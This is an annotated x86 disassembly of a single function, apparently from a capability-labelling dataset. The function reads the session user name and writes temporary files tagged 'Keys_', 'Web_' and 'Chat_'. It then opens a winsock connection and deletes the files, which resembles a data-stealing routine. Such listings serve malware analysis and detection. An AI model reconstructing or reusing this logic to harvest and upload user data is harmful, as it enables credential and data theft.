Function at 0x4258af
Capabilities:
Delete file
Get session user name
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa84
push ebx
push esi
push edi
lea esi, [esp + 0x1f8]
call fcn.00422530
lea esi, [esp + 0xf8]
call fcn.00420fcb
lea edi, [esp + 0x48]
call fcn.00420f5a
lea edi, [esp + 0x270]
call fcn.00420f06
mov eax, dword [0x46dd38]
xor ebx, ebx
mov esi, 0x46dd38
mov ecx, esi
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x18], eax
mov eax, dword [0x46dd38]
mov ecx, esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x6fc]
push eax
mov dword [esp + 0x4c], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
movzx eax, word [0x46e980]
push eax
push pe_nt_image_headers32
lea eax, [esp + 0x20]
call fcn.0040ef5c
lea eax, [esp + 0x6f8]
push eax
push ebx
lea esi, [esp + 0x20]
call fcn.0041d036
push eax
lea eax, [esp + 0x34]
call fcn.00412bab
mov eax, dword [esp + 0x34]
pop ecx
pop ecx
lea esi, [esp + 0x168]
call fcn.0040f4fc
mov edi, 0x4661a4
mov eax, edi
lea esi, [esp + 0xf8]
call fcn.0040f4fc
mov eax, dword [ebp + 0x10]
lea esi, [esp + 0x114]
call fcn.0040f4fc
mov eax, edi
lea esi, [esp + 0x130]
call fcn.0040f4fc
mov eax, dword [ebp + 0x10]
lea esi, [esp + 0x14c]
call fcn.0040f4fc
mov eax, dword [ebp + 0x14]
cmp dword [eax - 0xc], ebx
je 0x4259da
lea esi, [esp + 0x114]
call fcn.0040f4fc
movzx eax, word [0x46e980]
push eax
push 0xc1
lea eax, [esp + 0x20]
call fcn.0040ef5c
mov eax, dword [esp + 0x18]
lea esi, [esp + 0x2c8]
call fcn.0040f4fc
lea eax, [esp + 0x184]
push eax
lea eax, [esp + 0x274]
call fcn.0040f56a
mov edi, dword [ebp + 8]
lea esi, [edi + 0x108]
mov eax, esi
call fcn.0042545f
test eax, eax
je 0x425b4a
test byte [ebp + 0xc], 1
je 0x425b4a
cmp dword [ebp + 0x28], ebx
je 0x425ae9
push esi
call fcn.00424e5c
test eax, eax
je 0x425b4a
push str..tmp
lea eax, [edi + 0x124]
lea ecx, [esp + 0x28]
call fcn.0040efd9
mov eax, dword [eax]
pop ecx
lea esi, [esp + 0xa0]
call fcn.0040f4fc
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
call fcn.0041ad22
push str.Keys_
lea eax, [esp + 0x10]
call fcn.0041c812
push 0x46715c
lea ebx, [esp + 0x24]
call fcn.00426e20
push eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x24]
call fcn.0040efa7
pop ecx
lea ecx, [esp + 0x2c]
call fcn.0040efd9
mov eax, dword [eax]
pop ecx
lea esi, [esp + 0xbc]
call fcn.0040f4fc
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [esp + 0xc]
jmp 0x425b31
mov eax, dword [edi + 0x124]
lea esi, [esp + 0xa0]
call fcn.0040f4fc
push 0x4670e0
lea ebx, [esp + 0x14]
call fcn.00426e20
lea ecx, [esp + 0x18]
call fcn.0040efd9
mov eax, dword [eax]
pop ecx
lea esi, [esp + 0xbc]
call fcn.0040f4fc
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
call fcn.0041ad22
lea eax, [esp + 0x1a8]
push eax
lea eax, [esp + 0x4c]
call fcn.00423041
mov eax, edi
call fcn.0042545f
test eax, eax
je 0x425c72
test byte [ebp + 0xc], 2
je 0x425c72
cmp dword [ebp + 0x28], 0
je 0x425c14
push edi
call fcn.00427bad
test eax, eax
je 0x425c72
push str..tmp
lea eax, [edi + 0x1c]
lea ecx, [esp + 0x14]
call fcn.0040efd9
mov eax, dword [eax]
pop ecx
lea esi, [esp + 0xa0]
call fcn.0040f4fc
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
call fcn.0041ad22
push str.Web_
lea eax, [esp + 0x10]
call fcn.0041c812
push 0x46715c
lea ebx, [esp + 0x20]
call fcn.00426e20
push eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x28]
call fcn.0040efa7
pop ecx
lea ecx, [esp + 0x18]
call fcn.0040efd9
mov eax, dword [eax]
pop ecx
lea esi, [esp + 0xbc]
call fcn.0040f4fc
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [esp + 0xc]
jmp 0x425c59
mov eax, dword [edi + 0x1c]
lea esi, [esp + 0xa0]
call fcn.0040f4fc
push str..005
lea ebx, [esp + 0x28]
call fcn.00426e20
lea ecx, [esp + 0x2c]
call fcn.0040efd9
mov eax, dword [eax]
pop ecx
lea esi, [esp + 0xbc]
call fcn.0040f4fc
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
call fcn.0041ad22
lea eax, [esp + 0x1a8]
push eax
lea eax, [esp + 0x4c]
call fcn.00423041
lea esi, [edi + 0x84]
mov eax, esi
call fcn.0042545f
test eax, eax
je 0x425da6
test byte [ebp + 0xc], 4
je 0x425da6
cmp dword [ebp + 0x28], 0
je 0x425d45
push esi
call fcn.004240b6
test eax, eax
je 0x425da6
push str..tmp
lea eax, [edi + 0xa0]
lea ecx, [esp + 0x14]
call fcn.0040efd9
mov eax, dword [eax]
pop ecx
lea esi, [esp + 0xa0]
call fcn.0040f4fc
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
call fcn.0041ad22
push str.Chat_
lea eax, [esp + 0x10]
call fcn.0041c812
push 0x46715c
lea ebx, [esp + 0x20]
call fcn.00426e20
push eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x28]
call fcn.0040efa7
pop ecx
lea ecx, [esp + 0x18]
call fcn.0040efd9
mov eax, dword [eax]
pop ecx
lea esi, [esp + 0xbc]
call fcn.0040f4fc
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [esp + 0xc]
jmp 0x425d8d
mov eax, dword [edi + 0xa0]
lea esi, [esp + 0xa0]
call fcn.0040f4fc
push 0x466e78
lea ebx, [esp + 0x28]
call fcn.00426e20
lea ecx, [esp + 0x2c]
call fcn.0040efd9
mov eax, dword [eax]
pop ecx
lea esi, [esp + 0xbc]
call fcn.0040f4fc
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
call fcn.0041ad22
lea eax, [esp + 0x1a8]
push eax
lea eax, [esp + 0x4c]
call fcn.00423041
lea esi, [edi + 0x1b8]
mov eax, esi
call fcn.0042545f
test eax, eax
je 0x425eee
test byte [ebp + 0xc], 8
je 0x425eee
cmp dword [ebp + 0x28], 0
je 0x425e8d
lea eax, [esp + 0x30]
push eax
push esi
call fcn.00427230
test eax, eax
je 0x425eee
push dword [edi + 0x1d4]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x4f4]
push eax
call ebx
lea eax, [esp + 0x4f0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
and dword [esp + 0xc], 0
cmp dword [esp + 0x34], 0
jbe 0x425eee
mov eax, dword [esp + 0xc]
cmp eax, dword [esp + 0x34]
jae 0x425e83
mov ecx, dword [esp + 0x30]
lea esi, [ecx + eax*4]
push dword [esi]
lea eax, [esp + 0x2ec]
push eax
call ebx
lea eax, [esp + 0x2e8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathW]
mov eax, dword [esi]
lea esi, [esp + 0xa0]
call fcn.0040f4fc
lea eax, [esp + 0x2e8]
lea esi, [esp + 0xbc]
call fcn.0040f4fc
lea eax, [esp + 0x1a8]
push eax
lea eax, [esp + 0x4c]
call fcn.00423041
inc dword [esp + 0xc]
mov eax, dword [esp + 0xc]
cmp eax, dword [esp + 0x34]
jb 0x425e16
jmp 0x425eee
push 0x80070057
call fcn.0041b286
mov eax, dword [edi + 0x1d4]
lea esi, [esp + 0xa0]
call fcn.0040f4fc
push str..009
lea ebx, [esp + 0x18]
call fcn.00426e20
lea ecx, [esp + 0x14]
call fcn.0040efd9
mov eax, dword [eax]
pop ecx
lea esi, [esp + 0xbc]
call fcn.0040f4fc
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
call fcn.0041ad22
lea eax, [esp + 0x1a8]
push eax
lea eax, [esp + 0x4c]
call fcn.00423041
xor ebx, ebx
cmp dword [esp + 0x1ac], ebx
jne 0x425f98
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0041ad22
lea esi, [esp + 0x30]
call fcn.00427013
push ebx
push 1
lea esi, [esp + 0x2d0]
call fcn.00410e15
lea edi, [esp + 0x270]
call fcn.00402d37
lea eax, [esp + 0x48]
call fcn.00402cad
lea ebx, [esp + 0xf8]
call fcn.00402cd1
lea ecx, [esp + 0x1f8]
call fcn.004225b9
mov eax, dword [ebp + 0x10]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [ebp + 0x14]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [ebp + 0x18]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [ebp + 0x20]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [ebp + 0x24]
add eax, 0xfffffff0
call fcn.0041ad22
xor eax, eax
jmp 0x4261ec
lea eax, [esp + 0x900]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, dword [ebp + 0x20]
lea esi, [esp + 0x208]
call fcn.0040f4fc
mov eax, dword [ebp + 0x24]
lea esi, [esp + 0x224]
call fcn.0040f4fc
push dword [ebp + 0x1c]
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x204], ax
mov eax, dword [ebp + 0x18]
cmp dword [eax - 0xc], ebx
jne 0x426053
cmp dword [0x46e97c], ebx
je 0x426053
mov eax, dword [0x46dd38]
mov ecx, 0x46dd38
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0xc], eax
lea eax, [esp + 0xe4]
call fcn.0041feab
lea eax, [esp + 0xc]
push eax
mov eax, dword [ebp + 0x10]
push ecx
add eax, 0xfffffff0
mov esi, esp
call fcn.0041cd37
add eax, 0x10
mov dword [esi], eax
lea eax, [esp + 0xec]
push eax
call fcn.0041fef3
lea eax, [esp + 0xc]
lea edi, [ebp + 0x18]
call fcn.0041d135
lea eax, [esp + 0xe4]
call fcn.0041fede
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
call fcn.0041ad22
mov edi, dword [ebp + 8]
push 0
lea esi, [ebp + 0x18]
call fcn.0041d036
push eax
lea eax, [esp + 0x1fc]
call fcn.004225f1
test eax, eax
je 0x42609a
lea eax, [esp + 0x1f8]
push eax
lea esi, [esp + 0xfc]
call fcn.00422a48
test eax, eax
jne 0x42608e
mov dword [esp + 0x40], 1
lea esi, [esp + 0x1f8]
call fcn.004226b9
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ebx, str..tmp
push ebx
lea eax, [edi + 0x1c]
lea ecx, [esp + 0x14]
call fcn.0040efd9
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop ecx
push dword [eax]
call esi
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
call fcn.0041ad22
push ebx
lea eax, [edi + 0xa0]
lea ecx, [esp + 0x14]
call fcn.0040efd9
pop ecx
push dword [eax]
call esi
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
call fcn.0041ad22
push ebx
lea eax, [edi + 0x124]
lea ecx, [esp + 0x14]
call fcn.0040efd9
pop ecx
push dword [eax]
call esi
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
call fcn.0041ad22
push ebx
lea eax, [edi + 0x1d4]
lea ecx, [esp + 0x14]
call fcn.0040efd9
pop ecx
push dword [eax]
call esi
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
call fcn.0041ad22
xor edi, edi
cmp dword [esp + 0x34], edi
jbe 0x42614e
cmp edi, dword [esp + 0x34]
jae 0x425e83
mov eax, dword [esp + 0x30]
push dword [eax + edi*4]
call esi
inc edi
cmp edi, dword [esp + 0x34]
jb 0x42613e
lea esi, [esp + 0x30]
call fcn.00426fee
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
call fcn.0041ad22
call fcn.00427013
push 0
push 1
lea esi, [esp + 0x2d0]
call fcn.00410e15
lea edi, [esp + 0x270]
call fcn.00402d37
lea eax, [esp + 0x48]
call fcn.00402cad
lea ebx, [esp + 0xf8]
call fcn.00402cd1
lea ecx, [esp + 0x1f8]
call fcn.004225b9
mov eax, dword [ebp + 0x10]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [ebp + 0x14]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [ebp + 0x18]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [ebp + 0x20]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [ebp + 0x24]
add eax, 0xfffffff0
call fcn.0041ad22
mov eax, dword [esp + 0x40]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x24